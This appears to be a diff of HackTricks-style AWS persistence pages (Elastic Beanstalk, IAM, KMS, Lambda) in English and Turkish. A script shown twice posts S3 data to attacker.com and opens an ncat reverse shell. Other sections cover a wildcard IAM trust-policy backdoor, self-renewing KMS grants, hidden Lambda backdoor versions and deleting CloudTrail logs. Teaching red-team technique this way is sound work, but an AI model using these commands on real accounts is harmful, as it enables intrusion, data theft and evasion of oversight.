Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
|
||||
|
||||
### Abusing Custom Resource Lifecycle Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
|
||||
|
||||
```bash
|
||||
# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
|
||||
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker uploads the script to an S3 bucket
|
||||
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,75 +0,0 @@
|
||||
# AWS - Elastic Beanstalk Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence in Instance
|
||||
|
||||
AWS hesabı içinde persistence sağlamak için bazı **persistence mekanizmaları instance içine yerleştirilebilir** (cron job, ssh key...) böylece saldırgan buna erişip IAM rolünün **metadata service'den kimlik bilgilerini** çalabilir.
|
||||
|
||||
### Backdoor in Version
|
||||
|
||||
Bir saldırgan S3 repo içindeki koda backdoor ekleyebilir; böylece kod her zaman backdoor'unu ve beklenen kodu çalıştırır.
|
||||
|
||||
### New backdoored version
|
||||
|
||||
Mevcut versiyondaki kodu değiştirmek yerine, saldırgan uygulamanın yeni bir backdoored versiyonunu deploy edebilir.
|
||||
|
||||
### Abusing Custom Resource Lifecycle Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk, instance provisioning ve termination sırasında custom script'lerin çalıştırılmasına izin veren lifecycle hooks sağlar. Bir saldırgan **periyodik olarak veri exfiltrates eden veya AWS hesabına erişimi sürdüren bir script'i çalıştıracak şekilde bir lifecycle hook yapılandırabilir**.
|
||||
```bash
|
||||
# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
|
||||
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker uploads the script to an S3 bucket
|
||||
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,53 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
For more information access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Common IAM Persistence
|
||||
|
||||
- Create a user
|
||||
- Add a controlled user to a privileged group
|
||||
- Create access keys (of the new user or of all users)
|
||||
- Grant extra permissions to controlled users/groups (attached policies or inline policies)
|
||||
- Disable MFA / Add you own MFA device
|
||||
- Create a Role Chain Juggling situation (more on this below in STS persistence)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### Backdoor Policy Version
|
||||
|
||||
Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,47 +0,0 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Common IAM Persistence
|
||||
|
||||
- Bir kullanıcı oluşturun
|
||||
- Kontrol ettiğiniz bir kullanıcıyı ayrıcalıklı bir gruba ekleyin
|
||||
- Erişim anahtarları oluşturun (yeni kullanıcı için veya tüm kullanıcılar için)
|
||||
- Kontrol ettiğiniz kullanıcılar/gruplara ekstra izinler verin (attached policies or inline policies)
|
||||
- MFA'yı devre dışı bırakın / Kendi MFA cihazınızı ekleyin
|
||||
- Role Chain Juggling durumu oluşturun (aşağıda STS persistence bölümünde daha fazlası)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
Kontrolünüzdeki harici bir kaynak için (veya herkese) onu assume edebilmek amacıyla bir trust policy'yi backdoor'layabilirsiniz:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Backdoor Policy Version
|
||||
|
||||
Bir policy'nin son sürümü olmayan bir versiyonuna Administrator izinleri verin (son sürüm meşru görünmelidir), ardından o policy versiyonunu kontrol edilen bir kullanıcı/gruba atayın.
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
Hesap zaten yaygın bir identity provider'a (ör. Github) güveniyorsa, güvene ilişkin koşullar genişletilerek saldırganın bunları suistimal etmesi sağlanabilir.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,43 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
For mor information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant acces via KMS policies
|
||||
|
||||
An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
|
||||
|
||||
### Eternal Grant
|
||||
|
||||
Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
|
||||
|
||||
Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
|
||||
|
||||
(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
|
||||
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,37 +0,0 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS politikaları aracılığıyla Grant erişimi
|
||||
|
||||
Bir saldırgan **`kms:PutKeyPolicy`** iznini kullanarak, kontrolü altındaki bir kullanıcıya veya hatta harici bir hesaba bir key'e **erişim verebilir**. Daha fazla bilgi için [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) sayfasına bakın.
|
||||
|
||||
### Eternal Grant
|
||||
|
||||
Grant'lar, belirli bir key üzerinde bir principal'e bazı izinler vermenin başka bir yoludur. Bir kullanıcıya grant oluşturma izni veren bir grant vermek mümkündür. Dahası, bir kullanıcının aynı key üzerinde birden fazla (hatta aynı) grant'i olabilir.
|
||||
|
||||
Bu nedenle, bir kullanıcının tüm izinlere sahip 10 grant'e sahip olması mümkündür. Saldırgan bunu sürekli izlemelidir. Ve eğer bir noktada 1 grant kaldırılırsa başka 10 tane oluşturulmalıdır.
|
||||
|
||||
(10'u, kullanıcının hâlâ bazı grant'lere sahipken bir grant'in kaldırıldığını tespit edebilmek için 2 yerine kullanıyoruz)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Bir grant yalnızca şuradan izinler verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,26 +1,26 @@
|
||||
# AWS - Lambda Kalıcılık
|
||||
# AWS - Lambda Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Lambda Layer Kalıcılığı
|
||||
### Lambda Layer Persistence
|
||||
|
||||
Lambda çalıştırıldığında gizlice çalışacak şekilde bir layer'ı **introduce/backdoor ederek rastgele kod çalıştırmak** mümkündür:
|
||||
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Lambda Extension Kalıcılığı
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Lambda Layers'ı kötüye kullanarak extensions'ları da suistimal etmek ve lambda içinde kalıcılık sağlamak; ayrıca istekleri çalmak ve değiştirmek mümkündür.
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
@@ -28,15 +28,15 @@ aws-abusing-lambda-extensions.md
|
||||
|
||||
### Via resource policies
|
||||
|
||||
Farklı lambda eylemlerine (ör. invoke veya update code) dış hesaplara erişim vermek mümkündür:
|
||||
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
Bir Lambda'nin **farklı versiyonları** olabilir (her versiyon farklı code içerebilir).\
|
||||
Daha sonra, lambda için **farklı versiyonlarla farklı alias'lar** oluşturabilir ve her birine farklı weight'ler atayabilirsiniz.\
|
||||
Bu şekilde bir saldırgan **versiyon 1'i backdoor'lu** ve **versiyon 2'yi sadece meşru kod içeren** şekilde oluşturup, stealth kalmak için isteklerin sadece %1'inde versiyon 1'i çalıştıracak şekilde ayarlayabilir.
|
||||
A Lambda can have **different versions** (with different code each version).\
|
||||
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
|
||||
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -44,90 +44,25 @@ Bu şekilde bir saldırgan **versiyon 1'i backdoor'lu** ve **versiyon 2'yi sadec
|
||||
|
||||
1. Copy the original code of the Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
|
||||
### Cron/Event tetikleyicisi
|
||||
### Cron/Event actuator
|
||||
|
||||
Lambda fonksiyonlarını bir şey olduğunda veya belirli bir süre geçtiğinde çalıştırabilmeniz, lambda'yı kalıcılık elde etmek ve deteccion'u atlatmak için yaygın ve kullanışlı bir yol yapar.\
|
||||
İşte AWS içinde **varlığınızı daha gizli hale getirmek için lambda'lar oluşturmaya** dair bazı fikirler.
|
||||
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
|
||||
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
|
||||
|
||||
- Yeni bir kullanıcı oluşturulduğunda lambda yeni bir kullanıcı anahtarı üretir ve bunu saldırganla paylaşır.
|
||||
- Yeni bir role oluşturulduğunda lambda, ele geçirilmiş kullanıcılara assume role izinleri verir.
|
||||
- Yeni cloudtrail logları oluşturulduğunda, bunları siler/degistirir
|
||||
- Every time a new user is created lambda generates a new user key and send it to the attacker.
|
||||
- Every time a new role is created lambda gives assume role permissions to compromised users.
|
||||
- Every time new cloudtrail logs are generated, delete/alter them
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Çalışma zamanı/handler başlamadan önce saldırgan kontrollü bir wrapper script'i çalıştırmak için `AWS_LAMBDA_EXEC_WRAPPER` environment variable'ını suistimal edin. Wrapper'ı bir Lambda Layer aracılığıyla `/opt/bin/htwrap` konumuna yerleştirin, `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` olarak ayarlayın ve sonra function'ı invoke edin. Wrapper, function runtime process içinde çalışır, function execution role'ünü miras alır ve sonunda gerçek runtime'ı `exec` ederek orijinal handler'ın normal şekilde çalışmaya devam etmesini sağlar.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Asenkron destinasyonları ve Recursion konfigürasyonunu birlikte suistimal ederek, bir function'ın harici bir scheduler olmadan (EventBridge, cron vb. olmadan) kendini sürekli yeniden invoke etmesini sağlayabilirsiniz. Varsayılan olarak, Lambda recursive döngüleri sonlandırır, ancak recursion config'i Allow olarak ayarlamak bunları tekrar etkinleştirir. Destinations asenkron invoke'lar için servis tarafında teslimat yapar, bu yüzden tek bir seed invoke kod gerektirmeyen, gizli bir heartbeat/backdoor kanalı yaratır. Gürültüyü düşük tutmak için isteğe bağlı olarak reserved concurrency ile throttle edilebilir.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
Gizli bir Lambda versiyonu oluşturun ve resource-based policy'yi `lambda add-permission` içinde `--qualifier` parametresi kullanarak sadece o spesifik versiyona (veya alias'a) scope edin. Saldırgan prensibine yalnızca `lambda:InvokeFunction` yetkisini `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` üzerinde verin. Fonksiyon ismi veya birincil alias üzerinden normal invokasyonlar etkilenmezken, saldırgan doğrudan backdoored versiyon ARN'sini invoke edebilir.
|
||||
|
||||
Bu, Function URL'i açmaktan daha stealthy bir yöntemdir ve birincil trafik alias'ını değiştirmez.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Runtimelerini Dondurma
|
||||
|
||||
lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig ve lambda:GetRuntimeManagementConfig izinlerine sahip bir saldırgan, bir function'ın runtime management configuration'ını değiştirebilir. Bu saldırı, bir Lambda fonksiyonunu kırılgan bir runtime sürümünde tutmak veya yeni runtimelerle uyumsuz olabilecek kötü amaçlı layer'larla uyumluluğu korumak istendiğinde özellikle etkilidir.
|
||||
|
||||
Saldırgan runtime yönetim konfigürasyonunu değiştirerek runtime sürümünü sabitlemektedir:
|
||||
```bash
|
||||
# Invoke the function to generate runtime logs
|
||||
aws lambda invoke \
|
||||
--function-name $TARGET_FN \
|
||||
--payload '{}' \
|
||||
--region us-east-1 /tmp/ping.json
|
||||
|
||||
sleep 5
|
||||
|
||||
# Freeze automatic runtime updates on function update
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on FunctionUpdate \
|
||||
--region us-east-1
|
||||
```
|
||||
Uygulanan yapılandırmayı doğrulayın:
|
||||
```bash
|
||||
aws lambda get-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--region us-east-1
|
||||
```
|
||||
İsteğe bağlı: Belirli bir runtime sürümüne sabitleme
|
||||
```bash
|
||||
# Extract Runtime Version ARN from INIT_START logs
|
||||
RUNTIME_ARN=$(aws logs filter-log-events \
|
||||
--log-group-name /aws/lambda/$TARGET_FN \
|
||||
--filter-pattern "INIT_START" \
|
||||
--query 'events[0].message' \
|
||||
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
|
||||
```
|
||||
Belirli bir runtime sürümüne sabitle:
|
||||
```bash
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on Manual \
|
||||
--runtime-version-arn $RUNTIME_ARN \
|
||||
--region us-east-1
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,42 +1,46 @@
|
||||
# AWS - Lambda Uzantılarını Kötüye Kullanma
|
||||
# AWS - Abusing Lambda Extensions
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda Uzantıları
|
||||
## Lambda Extensions
|
||||
|
||||
Lambda uzantıları, çeşitli **izleme, gözlemlenebilirlik, güvenlik ve yönetişim araçları** ile entegrasyon sağlayarak işlevleri geliştirir. Bu uzantılar, [.zip arşivleri kullanarak Lambda katmanları](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) aracılığıyla veya [konteyner görüntüsü dağıtımları](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) içinde eklenerek iki modda çalışır: **içsel** ve **dışsal**.
|
||||
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
|
||||
|
||||
- **İçsel uzantılar**, çalışma zamanı süreciyle birleşerek, **dil spesifik ortam değişkenleri** ve **sarmalayıcı betikler** kullanarak başlatmasını manipüle eder. Bu özelleştirme, **Java Correto 8 ve 11, Node.js 10 ve 12, ve .NET Core 3.1** dahil olmak üzere çeşitli çalışma zamanlarına uygulanır.
|
||||
- **Dışsal uzantılar**, ayrı süreçler olarak çalışır ve Lambda işlevinin yaşam döngüsü ile operasyon uyumunu korur. **Node.js 10 ve 12, Python 3.7 ve 3.8, Ruby 2.5 ve 2.7, Java Corretto 8 ve 11, .NET Core 3.1** ve **özel çalışma zamanları** gibi çeşitli çalışma zamanlarıyla uyumludur.
|
||||
- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
|
||||
- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
|
||||
|
||||
Daha fazla bilgi için [**lambda uzantılarının nasıl çalıştığını kontrol edin**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
|
||||
### Kalıcılık, İstekleri Çalma ve İstekleri Değiştirme için Dışsal Uzantı
|
||||
### External Extension for Persistence, Stealing Requests & modifying Requests
|
||||
|
||||
Bu, bu yazıda önerilen tekniğin bir özetidir: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
Lambda çalışma zamanı ortamındaki varsayılan Linux çekirdeğinin “**process_vm_readv**” ve “**process_vm_writev**” sistem çağrıları ile derlendiği bulunmuştur. Ve tüm süreçler aynı kullanıcı kimliği ile çalışır, dışsal uzantı için oluşturulan yeni süreç bile. **Bu, dışsal bir uzantının tasarım gereği Rapid’in yığın belleğine tam okuma ve yazma erişimine sahip olduğu anlamına gelir.**
|
||||
It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
|
||||
|
||||
Ayrıca, Lambda uzantıları **çağrı olaylarına abone olma** yeteneğine sahipken, AWS bu uzantılara ham verileri açıklamaz. Bu, **uzantıların HTTP isteği aracılığıyla iletilen hassas bilgilere erişemeyeceğini** garanti eder.
|
||||
Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
|
||||
|
||||
Init (Rapid) süreci, Lambda uzantıları başlatılırken ve herhangi bir çalışma zamanı kodu yürütülmeden önce, tüm API isteklerini [http://127.0.0.1:9001](http://127.0.0.1:9001/) adresinde izler, ancak Rapid'ten sonra.
|
||||
The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
|
||||
|
||||
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
|
||||
|
||||
**`AWS_LAMBDA_RUNTIME_API`** değişkeni, **çocuk çalışma zamanı süreçlerine** ve ek uzantılara Rapid API'nin **IP** adresini ve **port** numarasını gösterir.
|
||||
The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
|
||||
|
||||
> [!WARNING]
|
||||
> **`AWS_LAMBDA_RUNTIME_API`** ortam değişkenini erişim sağladığımız bir **`port`** ile değiştirerek, Lambda çalışma zamanı içindeki tüm eylemleri kesmek mümkündür (**man-in-the-middle**). Bu, uzantının Rapid Init ile aynı ayrıcalıklara sahip olması ve sistemin çekirdeğinin **işlem belleğinin değiştirilmesine** izin vermesi nedeniyle mümkündür; bu da port numarasının değiştirilmesini sağlar.
|
||||
> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
|
||||
|
||||
**Uzantılar herhangi bir çalışma zamanı kodundan önce çalıştığı için**, ortam değişkenini değiştirmek, çalışma zamanı süreci (örneğin, Python, Java, Node, Ruby) başlarken etkileyecektir. Ayrıca, bu değişkene bağımlı olan **uzantılarımızdan sonra yüklenen** uzantılar da uzantımız üzerinden yönlendirilecektir. Bu yapı, kötü amaçlı yazılımların güvenlik önlemlerini tamamen atlamasına veya doğrudan çalışma zamanı ortamında günlük uzantılarını atlatmasına olanak tanıyabilir.
|
||||
Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
|
||||
|
||||
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
|
||||
|
||||
[**lambda-spy**](https://github.com/clearvector/lambda-spy) aracı, bu **bellek yazma** ve lambda isteklerinden hassas bilgileri **çalma**, diğer **uzantıların** **isteklerini** **değiştirme** işlemlerini gerçekleştirmek için oluşturulmuştur.
|
||||
The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
|
||||
|
||||
## Referanslar
|
||||
## References
|
||||
|
||||
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
|
||||
